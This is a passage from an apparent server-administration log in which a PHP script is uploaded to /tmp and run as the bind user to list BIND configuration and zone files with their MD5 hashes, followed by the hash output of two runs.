				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:55:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp302246; rm /tmp/pkp302246'

2026-04-30 16:55:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:56:12: Establishing a connection
2026-04-30 16:56:12: 

PUT: /tmp/pkp163965

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:56:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp163965; rm /tmp/pkp163965'

2026-04-30 16:56:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
